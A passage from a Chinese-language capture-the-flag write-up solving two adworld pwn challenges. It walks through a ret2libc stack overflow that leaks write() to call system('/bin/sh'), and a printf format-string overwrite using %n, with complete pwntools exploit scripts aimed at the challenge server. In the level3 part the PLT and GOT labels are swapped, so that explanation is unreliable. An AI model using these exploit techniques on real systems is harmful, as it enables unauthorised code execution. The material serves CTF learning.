1 2 3 4 brian@brian:~/桌面/adworld/level3$ ROPgadget --binary libc_32.so.6 --string '/bin/sh' Strings information ============================================================ 0x0015902b : /bin/sh
同样的计算方式可以利用间隔不变通过参数在ELF文件
中的地址和write()
的地址来算出参数最后在程序中的地址。
write_libc_addr
和 system_libc_addr
我们可以通过IDA打开附件给的 libc.so 文件来查找其地址。
write_abs_addr
应该去哪里找?这个地址也就是ELF
文件中的地址,我们可以通过栈溢出,溢出到write()
的PLT
位置,调用该函数,然后构造参数,来将这个地址打印出来。
1 payload = padding + write_plt_addr + vuln_func_addr + argus
根据32位程序的函数调用顺序可知,padding
之后首先跟的是 write_plt_addr
,这个地址是 write
函数在.got
中的地址,溢出后控制函数回到这个地址
这里的 argus
分别为 1,write_got_addr,4
代表将 write_got_addr
的地址以4个字节进行标准输出。在计算完需要的绝对地址后将函数再次返回到 vuln_fun_addr
方便再次利用栈溢出,调用system()
。
栈溢出的偏移怎么算呢?除了手动之外今天学了新方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ······ gdb-peda$: Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ······ Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x6261616b in ?? () $ cyclic -l 0x6261616b
通过输入类似于循环的长数据来判断溢出位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(os='linux' , arch='i386' ) context.log_level = 'debug' HOST = "111.200.241.244" PORT = 50010 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./level3' ) vuln_func_addr = 0x804844B write_plt_addr = 0x0804A018 write_got_addr = 0x08048340 sh_libc_addr = 0x0015902b system_libc_addr = 0x0003A940 write_libc_addr = 0x000D43c0 payload1 = 'A' *140 + p32(write_got_addr) + p32(vuln_func_addr) + p32(1 ) + p32(write_plt_addr) + p32(4 ) p.recvuntil("Input:\n" ) p.sendline(payload1) write_abs_addr = u32(p.recv(4 )) system_abs_addr = write_abs_addr - (write_libc_addr - system_libc_addr) print (system_abs_addr)sh_abs_addr = write_abs_addr - (write_libc_addr - sh_libc_addr) print (sh_abs_addr)payload2 = 'A' *140 + p32(system_abs_addr) + p32(4 ) + p32(sh_abs_addr) p.recvuntil("Input:\n" ) p.sendline(payload2) p.interactive() p.close()
cgfsb2 题目描述关于printf()
,那肯定还是相关漏洞了。32位文件,保护:
1 2 3 4 5 CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
开启了栈溢出保护,堆栈代码不可执行,没有开启地址随机化。IDA打开:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { int buf; int v5; __int16 v6; char s; unsigned int v8; v8 = __readgsdword(0x14 u); setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); buf = 0 ; v5 = 0 ; v6 = 0 ; memset (&s, 0 , 0x64 u); puts ("please tell me your name:" ); read(0 , &buf, 0xA u); puts ("leave your message please:" ); fgets(&s, 100 , stdin ); printf ("hello %s" , &buf); puts ("your message is:" ); printf (&s); if ( pwnme == 8 ) { puts ("you pwned me, here is your flag:\n" ); system("cat flag" ); } else { puts ("Thank you!" ); } return 0 ; }
很明显的漏洞点printf(&s);
,想办法使得if
判断成立即可。
明显是要通过格式化字符串漏洞控制内存中某一地址的内容为一特定数字,之前写过相关内容。
先查看pwnme
的内存地址为.bss:0x0804A068
。然后通过漏洞泄漏它在栈上的位置
1 2 3 4 5 6 payload = "AAAA" + "%2x " *15 p.recvuntil("leave your message please:\n" ) p.sendline(payload) ······ your message is : AAAAffb3c5ee f7f125c0 ffb3c63c f7f5ba9c 1 f7f2d410 64610001 a6e696d 0 41414141 20783225 20783225 20783225 20783225 20783225
第10个位置我们可以控制,尝试将目标变量的地址整到栈上
1 2 3 4 5 6 7 payload = "\x68\xA0\x04\x08" + " %10$x" p.recvuntil("leave your message please:\n" ) p.sendline(payload) ······ your message is : h\xa0\x04 804a068 Thank you!
将目标变量地址改为小端序后输入,随后%10$x
查看第10个位置的地址信息,发现成功写入地址。
需要控制变量值为8,写完地址后算写进去4字节,还差4字节需要填充:
1 2 3 4 5 6 7 payload = "AAAA\x68\xA0\x04\x08" +"%11$n" p.recvuntil("leave your message please:\n" ) p.sendline(payload) payload = "\x68\xA0\x04\x08" +"1234%10$n" payload = "\x68\xA0\x04\x08" +"%4c%10$n"
以上几种都可以,目的都是出了地址外再填充4字节数据。第三个中如果使用%4d
可能会被解释成0000,而不能写入正确数字。
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os='linux' , arch='i386' ) context.log_level = 'debug' HOST = "111.200.241.244" PORT = 60208 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./cgfsb' ) p.recvuntil("please tell me your name:\n" ) p.sendline("admin" ) payload = "AAAA\x68\xA0\x04\x08" +"%11$n" p.recvuntil("leave your message please:\n" ) p.sendline(payload) p.interactive() p.close()
进阶区